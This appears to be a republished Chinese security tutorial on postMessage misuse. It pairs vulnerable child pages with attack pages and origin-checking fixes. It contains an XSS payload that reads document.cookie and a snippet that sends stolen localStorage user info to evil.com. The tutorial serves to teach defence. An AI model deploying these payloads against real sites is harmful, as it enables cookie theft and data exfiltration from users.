postMessage 滥用导致的安全风险

栏目: JavaScript · 发布时间: 5年前

内容简介:postMessage是html5新增的一个解决跨域的方法,主要解决不同源的脚本采用异步方式进行有限的通信,可以实现跨文本档、多窗口、跨域消息传递,多用于页面与嵌套的iframe消息传递。由于默认允许跨域,所以导致一些安全问题,主要攻击方式有两种,一是伪造数据发送端,易造成XSS,二是伪造数据获取端,类似JSONP劫持。以下面Demo进行测试分析child.html

0x00 介绍

postMessage是html5新增的一个解决跨域的方法,主要解决不同源的脚本采用异步方式进行有限的通信,可以实现跨文本档、多窗口、跨域消息传递,多用于页面与嵌套的iframe消息传递。由于默认允许跨域,所以导致一些安全问题,主要攻击方式有两种,一是伪造数据发送端,易造成XSS,二是伪造数据获取端,类似JSONP劫持。

0x01 伪造数据发送端

1. Demo

以下面Demo进行测试分析

child.html

<html> 
 <head> 
 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 
 <title>Web page from child.com</title> 
 <script type="text/JavaScript"> 
     //event 参数中有 data 属性,就是父窗口发送过来的数据
     window.addEventListener("message", function( event ) { 
         // 把父窗口发送过来的数据显示在子窗口中
     document.getElementById("content").innerHTML+=event.data + "origin: " + event.origin+"<br/>"; 
     }, false ); 

 </script> 
 </head> 
 <body> 
     Web page from http://p1.com 
     <div id="content"></div> 
 </body> 
 </html>

child.html 接受任意窗口的消息,并对消息进行输出。

2. 攻击测试

attack.html

<iframe src="http://p1.com/postmessage/child.html" id="otherPage"></iframe> 
<script type="text/JavaScript"> 
  var i = document.getElementById("otherPage");
  i.onload = function(){ 
    i.contentWindow .postMessage("<img src=x onerror='alert(document.cookie);'", "*"); 
  } 
</script>

攻击者将attack.html放于自己的vps上,诱导用户点击,便可触发xss攻击。

postMessage 滥用导致的安全风险

3. 原理分析

正常情况下,父窗口中发送的消息为用户不可控消息,此时不存在漏洞,但是子窗口接受父窗口的消息时未对父窗口来源进行限制,并且对父窗口的消息进行输出,所以黑客可伪造父窗口,给子窗口发送有效攻击载荷,从而触发漏洞。

该处风险不仅限于XSS ,如订单支付时由父窗口传输订单详情,子窗口处理支付流程,黑客篡改订单详情,使用户支付了本不属于自己的订单,这种场景也不无可能。

4. 安全应对方案

应对父窗口的来源进行判断,只接受可信父窗口传输的数据。

实例:

<script type="text/JavaScript"> 
     //event 参数中有 data 属性,就是父窗口发送过来的数据
     onmessage = function( event ) { 
        if(event.origin == 'http://p1.com'){
            /*
                to do something
            */
        }
     };
 </script>

0x02 伪造数据接收端

1. Demo

以下面Demo进行测试分析

child.html

<html> 
 <head> 
 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 
 <title>User info center</title> 
 <script type="text/JavaScript"> 
    var userinfo=localStorage.getItem("userinfo");
    window.parent.postMessage(userinfo, "*");
 </script> 
 </head> 
 <body> 
    Web page from http://p1.com 
 </body> 
 </html>

child.html 可以给任意父窗口发送信息。

2. 攻击测试

attack.html

<script type="text/JavaScript"> 
 onmessage = function( event ) { 
    if(event.origin == "http://p1.com"){
        var img=new Image();
        img.src='http://evil.com/?userinfo='+event.data;
        document.getElementById("otherPage").appendChild(img);
    }
 }; 
</script> 
<iframe src="http://p1.com/postmessage/child1.html" id="otherPage"></iframe>

攻击者将attack.html放于自己的vps上,诱导用户点击,用户点击后在 evil.com 上便可收到用户的敏感信息。

postMessage 滥用导致的安全风险

3. 原理分析

postMessage() 接受两个参数,第一个参数为向另外一个窗口传递的数据(只能传字符串类型),第二个参数表示目标窗口的源,协议+主机+端口号,是为了安全考虑,如果设置为 * ,则表示可以传递给任意窗口。所以黑客可以伪造父窗口,从而劫持子窗口存储的用户信息。

4. 安全应对方案

合理配置 postMessage() 第二个参数,不贪图方便使用 * 配置,严格限制父窗口来源。

实例:

<script type="text/JavaScript"> 
    var userinfo=localStorage.getItem("userinfo");
    window.parent.postMessage(userinfo, "http://p0.com"); // 限制只能给http://p0.com窗口发送数据
 </script>

著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:p0
链接:https://p0sec.net/index.php/archives/124/
来源:https://p0sec.net/


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

智能优化方法

智能优化方法

汪定伟 / 2007-4 / 37.10元

《智能优化方法》主要介绍近年来产生发展的多种智能优化算法。包括为人熟知的遗传算法、禁忌搜索算法、模拟退火算法和蚁群优化算法;近年来已成为研究热点的粒子群优化算法;还有尚待普及的捕食搜索算法和动态环境下的进化计算。书中讨论这些算法的产生和发展、算法的基本思想和理论、基本构成、计算步骤和主要的变形以及数值例子和实际应用。为了方便读者学习,各章之后还附有精选的习题、思考题及相关的参考文献。 本教材......一起来看看 《智能优化方法》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

在线进制转换器
在线进制转换器

各进制数互转换器

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试